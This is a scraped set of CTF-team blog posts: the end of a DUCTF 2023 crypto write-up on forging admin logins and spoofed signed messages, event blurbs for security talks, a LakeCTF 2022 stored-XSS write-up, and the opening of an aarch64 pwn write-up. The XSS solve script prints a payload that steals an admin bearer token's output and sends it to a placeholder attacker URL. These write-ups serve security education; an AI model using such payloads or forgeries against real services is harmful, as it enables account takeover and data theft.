dtype=bool) for bidx in range(624*32): print(bidx, end=\u0026#34;\\r\u0026#34;) prng[:,bidx] = login_sym(bidx) np.save(open(\u0026#34;prng_transform.npy\u0026#34;, \u0026#34;wb\u0026#34;), prng) Once we have $\\textbf{b}$, we can recover $u$ and generate the answers for the next challenge to log into any account:\nprng = np.load(open(\u0026#34;prng_transform.npy\u0026#34;, \u0026#34;rb\u0026#34;)) prng_sage = matrix(GF(2), prng.astype(int)) # bits is our b we\u0026#39;ve gotten from logging in 156 times sol = prng_sage.solve_right(vector(GF(2), bits), check=False) bvrec = list(map(int, sol)) rec_s = (s[0], (*[reduce(lambda x,y: (x\u0026lt;\u0026lt;1)+y, bvrec[i*32:i*32+32][::-1]) for i in range(624)], s[1][-1]), s[2]) # Assert that we recovered u correctly random.setstate(rec_s) rec_bits = [b for _ in range(156) for b in login_local()] assert all(x == y for x,y in zip(bits, rec_bits)) # Locally generate the answers for the 128 challenges during the next login bb = login_local() myans = \u0026#34; \u0026#34;.join(map(str, map(int, bb))).encode() This step was for me the most frustrating step. I recovered $V$ very quickly but spent at least 2 hours trying to coax numpy to do $F_2$ arithmetic. And then I gave up and loaded the matrix into sagemath. However, due to my potato computer, it takes over 20 minutes to load the matrix and after that sagemath becomes extremely unstable and crashes all the time. I ended up re-loading the matrix into sagemath at least 7 times.\nSending flag_haver a message from the admin account Now that we can log into admin, we have to send flag_haver a message. Unfortunately, we would have to sign the message with admin\u0026rsquo;s private key, which we still do not have.\ndef send(self, recipient_public_key, message): key = secrets.randbelow(2**128) key_enc = Encryptor(recipient_public_key).encrypt(key) key_enc = key_enc[0].to_bytes(96, \u0026#39;big\u0026#39;) + key_enc[1].to_bytes(96, \u0026#39;big\u0026#39;) ct = Cipher(key).encrypt(message) sig = Signer(self.private_key).sign(ct) return (key_enc + ct, sig) def receive(self, sender_public_key, ciphertext, sig): if len(ciphertext) \u0026lt; 192: return False key_enc, ct = ciphertext[:192], ciphertext[192:] if not Verifier(sender_public_key).verify(ct, sig): return False key_enc0, key_enc1 = int.from_bytes(key_enc[:96], \u0026#39;big\u0026#39;), int.from_bytes(key_enc[96:192], \u0026#39;big\u0026#39;) key = Decryptor(self.private_key).decrypt((key_enc0, key_enc1)) message = Cipher(key).decrypt(ct) return message To send a message, we randomly generate a key that gets encrypted with the recipient\u0026rsquo;s public key (we have this) into key_enc. The message gets encrypted with ct and the ct is signed with the sender\u0026rsquo;s private key (we don\u0026rsquo;t have this) to get sig. key_enc, ct and sig get sent.\nNote that the recipient will require their private key to decrypt key_enc to decrypt ct into the message, and they will also verify that ct is signed with the recipient\u0026rsquo;s private key. This should ensure that\nOnly the recipient can read the message The recipient can verify that the message is indeed from the sender. A key \u0026ldquo;weird\u0026rdquo; thing to note here is that the signature only verifies that ct is committed to the sender\u0026rsquo;s private key. key_enc isn\u0026rsquo;t. This means that while the recipient can verify that ct came from the sender, they can\u0026rsquo;t guarantee that key_enc is.\nThis means that we can:\nTake an existing encrypted and signed message sent by the admin to a user whose private key we know. In this case, it is the welcome message to the user MeowMeowMeow. Use the known private key to recover key. Modify key which in turn will change the result of the ct\u0026rsquo;s decryption. Re-encrypt key with our new recipient\u0026rsquo;s public key to get key_enc. Re-use the ct and sig from the message we got from admin and only change the key_enc. Send the modified message to the new recipient. The new recipient will successfully decrypt key_enc into our modified key due to step 4, the new recipient will think the message is indeed from admin since we did not change ct, and finally, the decrypted message will look different from what the admin has sent to MeowMeowMeow because we\u0026rsquo;ve modified key.\nNow the question is whether we can change key such that the decrypted message changes from Welcome MeowMeowMeow! to Send flag to {username} to be sent to flag_haver, where username can be anything matching [a-zA-Z0-9]{8,16} as we can simply create an account with that username and receive the flag from flag_haver. Note that the modified message has to be the same length, so username should have length $8$. To do that we need to see how Cipher(key).encrypt(message) works.\nAttacking the Cipher class Cipher: def __init__(self, key): self.n = 4 self.idx = self.n self.state = [(key \u0026gt;\u0026gt; (32 * i)) \u0026amp; 0xffffffff for i in range(self.n)] def next(self): if self.idx == self.n: for i in range(self.n): x = self.state[i] v = x \u0026gt;\u0026gt; 1 if x \u0026gt;\u0026gt; 31: v ^= 0xa9b91cc3 if x \u0026amp; 1: v ^= 0x38ab48ef self.state[i] = v ^ self.state[(i + 3) % self.n] self.idx = 0 v = self.state[self.idx] x0, x1, x2, x3, x4 = (v \u0026gt;\u0026gt; 31) \u0026amp; 1, (v \u0026gt;\u0026gt; 24) \u0026amp; 1, (v \u0026gt;\u0026gt; 18) \u0026amp; 1, (v \u0026gt;\u0026gt; 14) \u0026amp; 1, v \u0026amp; 1 y = x0 + x1 + x2 + x3 + x4 self.idx += 1 return y \u0026amp; 1 def next_byte(self): return int(\u0026#39;\u0026#39;.join([str(self.next()) for _ in range(8)]), 2) def xor(self, A, B): return bytes([a ^ b for a, b in zip(A, B)]) def encrypt(self, message): return self.xor(message, [self.next_byte() for _ in message]) def decrypt(self, ciphertext): return self.xor(ciphertext, [self.next_byte() for _ in ciphertext]) We can see that Cipher generates a stream by bytes according to the key and XORs it with the message. An interesting thing to note is that the .next method, and hence the .next_byte method, computes their output by taking a linear combination of the bits of key. This is easily seen by noting that the only operations used to update self.state and return the next byte only involve XOR and bitshifts.\nThis is extremely similar to how MT19937 works, in that for a given message of $l$ bytes, we have an associated XOR stream $x \\in F_2^{8 l}$ such that $c = m + x$ where $c$ is the ciphertext and $m$ is the message. We also have a 128-bit key $k \\in F_2^{128}$, and we can derive a fixed transform $V: F_2^{128}\\rightarrow F_2^{8 l}$ mapping $V k = x$.\nFor our use-case, we want to keep $c = m + x$ constant and compute a new key $k\u0026rsquo;$ such that $V k = x\u0026rsquo;$ and $c = m\u0026rsquo; + x\u0026rsquo;$, where $x\u0026rsquo;$ is the new byte stream and $m\u0026rsquo;$ is our target ciphertext. Note that\nWe know $k$ as this $k$ is from the welcome message and we can get $k$ by decrypting key_enc with our private key. We know $m$ as Welcome MeowMeowMeow!. We can control $m\u0026rsquo;$ and hence know $\\delta_m$ as well. Then since:\n$$ \\begin{aligned} c \u0026amp;= m + x = m\u0026rsquo; + x\u0026rsquo; = (m + \\delta_m) + x\u0026rsquo; \\\\ x\u0026rsquo; \u0026amp;= x - \\delta_m \\\\ V k\u0026rsquo; \u0026amp;= x\u0026rsquo; = x - \\delta_m \\end{aligned} $$\nThen since we can compute $x - \\delta_m$, we can easily compute $k\u0026rsquo;$\u0026hellip; provided $k\u0026rsquo;$ actually exists.\nIt turns out that while our desired $k\u0026rsquo;$ has $128$ dimensions, $V$ only has rank $121$. Practically, this means we can always find a $k\u0026rsquo;$ such that $x\u0026rsquo;$ matches $x - \\delta_m$ for the first $121$ bits, or ~$15$ bytes. I.e., a $k\u0026rsquo;$ such that $m$ matches $m\u0026rsquo;$ by ~$15$-bytes.\nUnfortunately, our target message Send flag to {username} has a minimum length of $21$ bytes since username has the constraints [a-zA-Z0-9]{8,16}, so we are $6$ bytes short. Put it another way, if we determine the first $2$ bytes of username, say username=XX??????, we are guaranteed to find $k\u0026rsquo;$ such that $m\u0026rsquo;$ will be Send flag to XX------, where - are just random bytes, and so XX------ isn\u0026rsquo;t guaranteed to satisfy the [a-zA-Z0-9]{8,16} constraint.\nHowever, we can bruteforce XX such that XX------ does indeed satisfy the constraint!\nWe can expect bruteforce to work. We bruteforce $2$ characters in [a-zA-Z0-9] which amounts to $62^2 = 3844$ possibilities. Now, the probability that the remaining $6$ characters does appear in [a-zA-Z0-9] is $(62/256)^{6}$ which is roughly one in $4955$, which is fairly close to $3844$. In the event that no such XX exists, we can try again with a different initial username (in the welcome message, which currently is MeowMeowMeow).\nIt turns out the username elSvxrjZ does work. In fact, it works regardless of what $k$ is, since if $\\exists k\u0026rsquo;$ such that $V k\u0026rsquo; = x\u0026rsquo; = x - \\delta_m = V k - \\delta_m$, then for a new encountered key $j$, we have\n$$ V j - \\delta_m = V k - \\delta_m - V (j - k) = V k\u0026rsquo; - V (j - k) = V (\\delta_k + j) $$\nSo, we can set $j\u0026rsquo; = \\delta_k + j$ as our new key.\nfrom itertools import product import re import numpy as np import random # Compute V V = [] for bidx in range(128): c = Cipher(1\u0026lt;\u0026lt;bidx) V.append([c.next() for _ in range(8*21)]) V = matrix(GF(2), np.array(V).T) msg = b\u0026#39;Welcome MeowMeowMeow!\u0026#39; allowed = \u0026#34;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\u0026#34; for x,y in product(allowed, repeat=2): target = f\u0026#39;Send flag to {x+y}aaaaaa\u0026#39;.encode() ct = Cipher(key).encrypt(msg) bs = vector(GF(2), [*map(int, \u0026#39;\u0026#39;.join([format(m^^c, \u0026#34;08b\u0026#34;) for m,c in zip(target, ct)]))]) kbits = V.solve_right(bs, check=False) key_rec = int(\u0026#34;\u0026#34;.join(map(str, kbits))[::-1], 2) ctt = Cipher(key_rec).encrypt(target) tar = [x^^y for x,y in zip(ctt[15:], target[15:])] nt = [x^^y for x,y in zip(tar, ct[15:])] new_target = target[:15] + bytes(nt) assert Cipher(key_rec).encrypt(new_target) == ct try: if re.fullmatch(r\u0026#39;[a-zA-Z0-9]{8,16}\u0026#39;, new_target.decode()[13:]): break except: pass print(new_target) # b\u0026#39;Send flag to elSvxrjZ\u0026#39; So, before we log into admin, we just have to create the user elSvxrjZ, log into admin and send the spoofed message (Send flag to elSvxrjZ) to flag_haver. flag_haver will send the flag to elSvxrjZ and we can log into elSvxrjZ and decrypt the flag with elSvxrjZ\u0026rsquo;s private key.\nSummary of attack Create an account with the username elSvxrjZ and save the private key. Create an account with the username MeowMeowMeow and save the private key. Log into MeowMeowMeow 156 times to get enough challenge answers to recover the random generator\u0026rsquo;s internal state. Save the welcome message the admin sent MeowMeowMeow. Locally generate the answers for the next login challenge to log into the admin without knowing the admin\u0026rsquo;s private key. Use the saved welcome message for MeowMeowMeow to fake a signed message from admin that tells flag_haver to send the flag to elSvxrjZ. flag_haver is prompted to send the flag to username elSvcrjZ. Log into elSvxrjZ and use elSvxrjZ\u0026rsquo;s private key to decrypt the message from flag_haver, which contains the flag. Flag: DUCTF{wait_its_all_linear_algebra?...always_has_been}\n","permalink":"https://nusgreyhats.org/posts/writeups/ductf-2023-encrypted-mail/","summary":"Metadata This challenge is from DownUnderCTF 2023. I played under NUS Greyhats instead of the usual SEE and we won 1st. However I didn\u0026rsquo;t really contribute much, I joined halfway through the CTF and had other commitments and accumulated a total of only ~1000/12000 of the eventual points the whole team made.\nRegardless, I\u0026rsquo;m happy that we blooded Encrypted Mail 31 hours into the CTF (beating SEE which I betrayed, sorryyyy Neobeo and Warri).","title":"[DUCTF 2023] Encrypted Mail"},{"content":"Talk Title: Hacking IoT devices: A story of stealing fingerprints\nDescription IoT devices are often resource-constrained, so we may forego certain security features because they aren\u0026rsquo;t essential to the use-case. But what if the authentication mechanisms in these devices are used in other, more critical scenarios as well? Discover how smart devices can be turned into wireless biometric thieves in this talk which explores a combination of cryptography, hardware hacking and reverse engineering.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2324s1/sw1110/","summary":"Talk Title: Hacking IoT devices: A story of stealing fingerprints\nDescription IoT devices are often resource-constrained, so we may forego certain security features because they aren\u0026rsquo;t essential to the use-case. But what if the authentication mechanisms in these devices are used in other, more critical scenarios as well? Discover how smart devices can be turned into wireless biometric thieves in this talk which explores a combination of cryptography, hardware hacking and reverse engineering.","title":"SecWed #111023"},{"content":"Talk Title: ARM Confidential Compute Architecture (ARM CCA)\nDescription ARM CCA represents the latest effort of ARM in pursuing general confidential computing. While ARM has provided a Formal Security Verification (FSV) simulation platform to help develop and test applications on ARMv9 platform, there lacks a Quick Emulator (QEMU) based simulation platform for better debugging. Upon this request, we developed a QEMU-based CCA simulation platform to more easily identify design faults in Realm applications. The source code is made available for public access.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2324s1/sw2009/","summary":"Talk Title: ARM Confidential Compute Architecture (ARM CCA)\nDescription ARM CCA represents the latest effort of ARM in pursuing general confidential computing. While ARM has provided a Formal Security Verification (FSV) simulation platform to help develop and test applications on ARMv9 platform, there lacks a Quick Emulator (QEMU) based simulation platform for better debugging. Upon this request, we developed a QEMU-based CCA simulation platform to more easily identify design faults in Realm applications.","title":"SecWed #200923"},{"content":"Talk 1: 1900Hrs - 1945Hrs Talk Title: SQLancer and Intramorphic Testing\nSpeaker Dr Manuel Rigger is an Assistant Professor leading the TEST Lab at NUS. He works on software reliability, data-centric systems, and programming language implementation. Prior to joining NUS, Manuel was a postdoc at ETH Zurich, Switzerland. He completed his PhD at Johannes Kepler University Linz, Austria.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: The IKIGAI of Cyber Security Research\nSpeaker Vicky Ray is the Director of Palo Alto Networks UNIT 42 Cyber Consulting \u0026amp; Threat Intelligence team for Asia Pacific \u0026amp; Japan, and has been leading several efforts within Palo Alto Networks since 2014. Vicky is regularly consulted by Governments, law-enforcements and executives from some of the largest enterprises globally, and is an advisor for building defensive cyber capabilities to tackle the ever growing threat from various types of cyber adversaries.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw0504/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: SQLancer and Intramorphic Testing\nSpeaker Dr Manuel Rigger is an Assistant Professor leading the TEST Lab at NUS. He works on software reliability, data-centric systems, and programming language implementation. Prior to joining NUS, Manuel was a postdoc at ETH Zurich, Switzerland. He completed his PhD at Johannes Kepler University Linz, Austria.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: The IKIGAI of Cyber Security Research","title":"SecWed #050423"},{"content":"Talk 1: 1900Hrs - 1945Hrs Talk Title: EDGe PS (Enterprise Data Platforms, GIS and Engineering \u0026amp; Production Services)\nDescription We will cover below horizontal programs that support Cybersecurity organizations. Please note that we are a supporting function to GIS. So our focus is more on how we enable our GIS partners to do their job.\nPortfolio Management Vulnerability Risk Management. Data Center Resiliency Infrastructure Engagement, Services \u0026amp; Infrastructure Delivery GIS Application and Infrastructure production services Speaker Uma Telidevara\nSenior Vice President; APAC Enterprise Data and GIS Production Operations - regional Lead Roles \u0026amp; Responsibility: Uma Rao is responsible for APAC Enterprise Data and GIS Production Operations which provides 24x7 coverage to deliver consistent operational support services to provide timely incident detection and speedy service restoral to improve systems stability Prior Experience: Prior to joining Bank of America Merrill Lynch, Uma Rao worked for Barclays Capital, Singapore and ran the Level 2 Midrange and Distributed functions. Talk 2: 1945Hrs - 2030Hrs Talk Title: Hosting Services/Cloud\nDescription The following topics will be covered:\nIntroduction to hosting, cloud and database enterprise architecture Defence in Depth Governance and control routines Cyber response - infrastructure Speaker Taryar Win Chan\nVice President; Senior Technology Manager Background: Taryar is a Computer Engineering graduate from Nanyang Technology University and currently pursuing a Master degree at the Harvard Extension School. He started his career at Bank of America Merrill Lynch in Singapore in 2008 and has taken up different responsibilities, including a three assignment at the BofA office in New York. Presently, he is responsible for capacity planning and management, compute build and transition, and Risk liaison for APAC Hosting services team. ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw1603/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: EDGe PS (Enterprise Data Platforms, GIS and Engineering \u0026amp; Production Services)\nDescription We will cover below horizontal programs that support Cybersecurity organizations. Please note that we are a supporting function to GIS. So our focus is more on how we enable our GIS partners to do their job.\nPortfolio Management Vulnerability Risk Management. Data Center Resiliency Infrastructure Engagement, Services \u0026amp; Infrastructure Delivery GIS Application and Infrastructure production services Speaker Uma Telidevara","title":"SecWed #150323"},{"content":"Title: Intermediate Web Hacking Techniques\nDescription In this workshop, we\u0026rsquo;ll look at three classes of web vulnerabilities:\nServer-side Template Injection Insecure Deserialization JavaScript Prototype Pollution Demos and mini-challenges will be provided for you to try your hand at exploiting these vulnerabilities.\nSetup A browser Docker (optional, if you would like to run demos locally) ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw1602/","summary":"Title: Intermediate Web Hacking Techniques\nDescription In this workshop, we\u0026rsquo;ll look at three classes of web vulnerabilities:\nServer-side Template Injection Insecure Deserialization JavaScript Prototype Pollution Demos and mini-challenges will be provided for you to try your hand at exploiting these vulnerabilities.\nSetup A browser Docker (optional, if you would like to run demos locally) ","title":"SecWed #160223"},{"content":"Title: Introduction to Computer Networking \u0026amp; Wireshark workshop.\nDescription Ever wondered how information travels from your computer to the internet and back?\nJoin us in this beginner-level session, where we will share the basics of computer networking! Using a program called Wireshark, you will be able to see firsthand what happens when you send some data to the internet. Additionally, we will also be doing some fun networking forensics-related activities!\nYear 1s and those without networking knowledge are welcome!\nSetup Do bring a fully-charged laptop as power points are very limited Install Wireshark (https://www.wireshark.org/#download) before coming! Join our discord server (https://discord.gg/yj5fuevA) as workshop materials will be disseminated there ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw0902/","summary":"Title: Introduction to Computer Networking \u0026amp; Wireshark workshop.\nDescription Ever wondered how information travels from your computer to the internet and back?\nJoin us in this beginner-level session, where we will share the basics of computer networking! Using a program called Wireshark, you will be able to see firsthand what happens when you send some data to the internet. Additionally, we will also be doing some fun networking forensics-related activities!","title":"SecWed #090223"},{"content":"Title: Tricks to RE fast\nDescription In this workshop, we will look at some commonly seen patterns in decompiler-generated C pseudocode. By being familiar with these patterns, we can very quickly predict what a piece of code does when we see something similar the next time.\nSetup: Please download Ghidra (needs Java to run). If you wish to use other decompilers (e.g. IDA), feel free to do so. However, there might be slight differences in the decompiler output.\nThis workshop focuses on static analysis, i.e. code reading. So, any OS (Windows/MacOS/Linux) and architecture (Intel/ARM) are fine, as long as you can run Ghidra.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw0102/","summary":"Title: Tricks to RE fast\nDescription In this workshop, we will look at some commonly seen patterns in decompiler-generated C pseudocode. By being familiar with these patterns, we can very quickly predict what a piece of code does when we see something similar the next time.\nSetup: Please download Ghidra (needs Java to run). If you wish to use other decompilers (e.g. IDA), feel free to do so. However, there might be slight differences in the decompiler output.","title":"SecWed #010223"},{"content":"Title: Intro to Heap Pwn (Part 2)\nDescription This is a continuation of the Heap Pwn 1 workshop. We will be going through how to setup a Dockerized environment for heap pwn so that we can target different libcs. We will also cover some tricks we can use to defeat mitigations and how our foundational knowledge can be used to solve more complicated heap problems. There will be more hands-on sessions :)\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw2601/","summary":"Title: Intro to Heap Pwn (Part 2)\nDescription This is a continuation of the Heap Pwn 1 workshop. We will be going through how to setup a Dockerized environment for heap pwn so that we can target different libcs. We will also cover some tricks we can use to defeat mitigations and how our foundational knowledge can be used to solve more complicated heap problems. There will be more hands-on sessions :)","title":"SecWed #260123"},{"content":"Title: Intro to Heap Pwn (Part 1)\nDescription How often do you use new in C++, and malloc in C? The heap is used for dynamically allocated memory supporting those operations, and we will be breaking the heap in this workshop. We will cover the basic mechanics of how the glibc malloc/free works, and various underlying structures that are used to track memory.\nWe will also cover some basic attacks against vulnerable applications, aided by pwndbg.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw1801/","summary":"Title: Intro to Heap Pwn (Part 1)\nDescription How often do you use new in C++, and malloc in C? The heap is used for dynamically allocated memory supporting those operations, and we will be breaking the heap in this workshop. We will cover the basic mechanics of how the glibc malloc/free works, and various underlying structures that are used to track memory.\nWe will also cover some basic attacks against vulnerable applications, aided by pwndbg.","title":"SecWed #180123"},{"content":"CarbonCredit Suisse This was a web challenge from the LakeCTF finals held in Lausanne, Switzerland that I solved together with Junhua. This ended up being a fairly straightforward XSS challenge with some additional annoyances to keep people on their toes.\nChallenge Description Schmidt Sàrl don\u0026#39;t think you can break into their web app in under a minute. Can you? http://chall.polygl0ts.ch:4100 Analysis A Docker container was provided with the challenge, containing the source code to the running instance of the webapp. A mirror is available here.\nEssentially, each time a user accesses the application root, a new \u0026ldquo;instance\u0026rdquo; is generated containing a new set of application data, and all requests are expected to be sent to the instance. After the instance is created, a Puppeteer script visits the instance and logs in with admin credentials three times in 30 second intervals, before logging in once more to delete the instance.\nHASHED_ADMIN_PASSWORD = os.getenv(\u0026#39;HASHED_ADMIN_PASSWORD\u0026#39;) FLAG = os.getenv(\u0026#34;FLAG\u0026#34;) SECRET_KEY = secrets.token_hex(32) ALGORITHM = \u0026#34;HS256\u0026#34; ACCESS_TOKEN_EXPIRE_MINUTES = 30 fake_dbs = {} def init_instance(instance): fake_dbs[instance] = { \u0026#34;instance\u0026#34;: instance, \u0026#34;users\u0026#34;: { \u0026#34;admin\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;full_name\u0026#34;: \u0026#34;Administrator\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;admin@epfl.ch\u0026#34;, \u0026#34;hashed_password\u0026#34;: HASHED_ADMIN_PASSWORD, \u0026#34;disabled\u0026#34;: False, \u0026#34;admin\u0026#34;: True, }, }, \u0026#34;lines\u0026#34;: [ { \u0026#34;creator_username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Toilet Paper\u0026#34;, \u0026#34;amount\u0026#34;: Decimal(\u0026#34;34.555\u0026#34;), }, ], } def destroy_instance(instance): del fake_dbs[instance] # ... @app.get(\u0026#34;/\u0026#34;) @app.get(\u0026#34;/index.html\u0026#34;) async def index(): instance = secrets.token_urlsafe() init_instance(instance) q.enqueue(bot.visit, instance) return RedirectResponse(f\u0026#34;/{instance}/index.html\u0026#34;) async def visit(instance): from pyppeteer import launch import asyncio import os ADMIN_PASSWORD = os.getenv(\u0026#34;ADMIN_PASSWORD\u0026#34;) url = f\u0026#34;http://carboncredit-suisse:8000/{instance}/\u0026#34; print(\u0026#34;Visiting\u0026#34;, url) browser = await launch({\u0026#34;args\u0026#34;: [\u0026#34;--no-sandbox\u0026#34;, \u0026#34;--disable-setuid-sandbox\u0026#34;]}) # while True: for _ in range(2): await asyncio.sleep(10) page = await browser.newPage() await page.goto(url) await page.click(\u0026#34;#login\u0026#34;) await page.type(\u0026#34;#login_username\u0026#34;, \u0026#34;admin\u0026#34;) await page.type(\u0026#34;#login_password\u0026#34;, ADMIN_PASSWORD) await page.click(\u0026#34;#login_submit\u0026#34;) print(\u0026#34;Time\u0026#39;s up, destroying challenge!\u0026#34;) await page.goto(url) await page.click(\u0026#34;#login\u0026#34;) await page.type(\u0026#34;#login_username\u0026#34;, \u0026#34;admin\u0026#34;) await page.type(\u0026#34;#login_password\u0026#34;, ADMIN_PASSWORD) await page.click(\u0026#34;#login_submit\u0026#34;) await asyncio.sleep(1) await page.click(\u0026#34;#dashboard_destroy\u0026#34;) # this calls destroy_instance in the main file await browser.close() Within the instance, users can sign up, log in, and create lines of text (I suppose these are the \u0026ldquo;carbon credits\u0026rdquo;?)\n@app.post(\u0026#34;/{instance}/register\u0026#34;) async def register( db=Depends(get_db), username: str = Form(), full_name: str = Form(), email: EmailStr = Form(), password: str = Form(), ): if username in db: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=\u0026#34;Username is already taken\u0026#34;, ) db[\u0026#34;users\u0026#34;][username] = { \u0026#34;username\u0026#34;: username, \u0026#34;full_name\u0026#34;: full_name, \u0026#34;email\u0026#34;: email, \u0026#34;hashed_password\u0026#34;: get_password_hash(password), \u0026#34;disabled\u0026#34;: False, \u0026#34;admin\u0026#34;: False, } # ... @app.post(\u0026#34;/{instance}/lines/add\u0026#34;) async def lines_add( db=Depends(get_db), description: str = Form(), amount: Decimal = Form(), current_user: User = Depends(get_current_active_user), ): add_line( db, Line( description=html.escape(description), amount=amount, creator_username=current_user.username, ), ) The code for displaying the lines:\n@app.get(\u0026#34;/{instance}/lines/display\u0026#34;) async def lines_display( db=Depends(get_db), current_user: User = Depends(get_current_active_user) ): response = \u0026#34;\u0026lt;div\u0026gt;\u0026#34; for line in get_all_lines(db): response += f\u0026#34;\u0026lt;p\u0026gt;{line.amount} | {line.description} | {line.creator_username}\u0026#34; return response Immediately we can see that there\u0026rsquo;s a problem here: though the description is filtered before being stored in the database, the username of the user adding the line is not, and there are no checks done at user creation time to ensure that the username is safe to display. This means that we can create a user with a username that contains HTML, and then add a line with that user. When the admin visits the instance, the username will render as HTML, and we can use this to perform XSS.\nOur goal is to get the flag:\n@app.get(\u0026#34;/{instance}/flag\u0026#34;) async def flag( response: Response, current_user: User = Depends(get_current_active_user) ): response.headers[\u0026#34;Access-Control-Allow-Origin\u0026#34;] = \u0026#34;127.0.0.1\u0026#34; if current_user.admin: return FLAG else: return \u0026#34;EPFL{404_F1ag_n0t_Found}\u0026#34; So not only does the request have to come from the same origin as the server, but the user must be authenticated as an admin. How is user authentication performed? We could look at the rest of the Python server code, but it\u0026rsquo;s much easier to just look at the JavaScript code that\u0026rsquo;s sent to the browser:\nvar access_token = null; $(document).ready(function () { // ... $(\u0026#34;#login_form\u0026#34;).submit(function (e) { e.preventDefault(); $.post( \u0026#34;token\u0026#34;, { username: $(\u0026#34;#login_username\u0026#34;).val(), password: $(\u0026#34;#login_password\u0026#34;).val(), }, function (data, status) { if (status === \u0026#34;success\u0026#34;) { access_token = data.access_token; } $(\u0026#34;#login_screen\u0026#34;).hide(); $(\u0026#34;#dashboard\u0026#34;).show(); $.ajax({ url: \u0026#34;lines/display\u0026#34;, headers: { Authorization: \u0026#34;Bearer \u0026#34; + access_token, }, success: function (data, status) { if (status === \u0026#34;success\u0026#34;) { $(\u0026#34;#dashboard_lines\u0026#34;).html(data); } }, }); } ); }); }); So it sends the username and password to the /token endpoint and stores the received access token in a global variable. Conveniently, the access token is stored in a global variable, so we can access it from our XSS payload easily. We just need to send a request to /flag like so:\nfetch(\u0026#34;flag\u0026#34;, { headers: { \u0026#34;Authorization\u0026#34;: \u0026#34;Bearer \u0026#34; + access_token } }).then(r =\u0026gt; r.text()).then(flag =\u0026gt; do_something(flag)) Solution Our final solve script looks like this. It creates a user with our XSS payload, gets an access token for that user, and adds a new line. When our admin visits the instance, it will trigger the payload, which makes an authenticated request to /flag and then redirects to our server with the response contents in the URL.\nimport requests username = r\u0026#34;\u0026#34;\u0026#34;\u0026lt;script\u0026gt;fetch(\u0026#34;flag\u0026#34;,{headers:{\u0026#34;Authorization\u0026#34;:\u0026#34;Bearer \u0026#34;+access_token}}).then(r=\u0026gt;r.text()).then(flag=\u0026gt;window.location.replace(\u0026#34;https://\u0026lt;attacker_url\u0026gt;/?flag=\u0026#34;+flag))\u0026lt;/script\u0026gt;\u0026#34;\u0026#34;\u0026#34; url = \u0026#34;http://chall.polygl0ts.ch:4100\u0026#34; password = \u0026#34;test\u0026#34; with requests.Session() as s: resp = s.get(url) id = resp.url.split(\u0026#39;/\u0026#39;)[3] NEW_URL = f\u0026#34;{url}/{id}\u0026#34; print(f\u0026#34;Instance: {id}\u0026#34;) resp = s.post(NEW_URL + \u0026#39;/register\u0026#39;, data={ \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: password, \u0026#39;full_name\u0026#39;: \u0026#39;full_name\u0026#39;, \u0026#39;email\u0026#39;: \u0026#39;email@email.com\u0026#39;, }) print(f\u0026#34;Registering {resp.status_code}: {resp.text}\u0026#34;) resp = s.post(NEW_URL + \u0026#39;/token\u0026#39;, data={ \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: password, }) print(f\u0026#34;Getting token {resp.status_code}\u0026#34;) access_token = resp.json()[\u0026#39;access_token\u0026#39;] resp = s.post(NEW_URL + \u0026#39;/lines/add\u0026#39;, data={ \u0026#39;description\u0026#39;: \u0026#39;description\u0026#39;, \u0026#39;amount\u0026#39;: 100, }, headers={ \u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {access_token}\u0026#34;, }) print(f\u0026#34;Upload {resp.status_code}: {resp.text}\u0026#34;) Flag EPFL{C1e4n_h4nd5_l3av3_n0_f1n9erprIn7}\n","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-finals-2022-carboncredit-suisse/","summary":"CarbonCredit Suisse This was a web challenge from the LakeCTF finals held in Lausanne, Switzerland that I solved together with Junhua. This ended up being a fairly straightforward XSS challenge with some additional annoyances to keep people on their toes.\nChallenge Description Schmidt Sàrl don\u0026#39;t think you can break into their web app in under a minute. Can you? http://chall.polygl0ts.ch:4100 Analysis A Docker container was provided with the challenge, containing the source code to the running instance of the webapp.","title":"[LakeCTF Finals 2022] CarbonCredit Suisse"},{"content":"paccheri I played LakeCTF Finals 2022 with my team NUS Greyhats (in Switzerland!). We managed to get first blood on both pwn challenges (i hate french and paccheri). This writeup will be for paccheri since i hate french was solved by 9 out of 10 teams.\nThis challenge was solved the unintended way, which is becoming a usual situation for me.\nRunning checksec, we get:\n[*] \u0026#39;~/ctfs/lakefinals22/paccheri/paccheri\u0026#39; Arch: aarch64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Hmm, interesting to see that we have a aarch64 challenge. Is this is MacOS / IoT / ARM challenge? Emulating this was going to be painful, but luckily the organizers had already thought of this.\nThere are a few files attached to the challenge, other than the usualy binary + libc. There is the Dockerfile \u0026amp; compose.yml which are usually meant to describe the service configuration. Also a README.md:\n# How to not turn crazy (QEMU PTSD anyone?) 1. `docker compose build` 2. `docker compose up` 3. Connect to the challenge with `nc localhost 3700`, ssh into the arm64 VM with `ssh root@localhost -p 30022` Note: The challenge is located in `/app` in the VM. The VM contains exactly the `paccheri` and `libc.so.6` you\u0026#39;re provided with. The only difference is that in the VM, `/proc/self/maps` is symlinked to `/app/postal_codes` -- we unfortunately cannot ship symlinks ;) Very cool, they already have a setup to emulate aarch64 and even managed to give us a ssh shell.\nAnalysis undefined8 main(void) { char *found; size_t section_start; ulong section_end; char section_name [20000]; long local_8 = __stack_chk_guard; setvbuf(stdin,NULL,2,0); 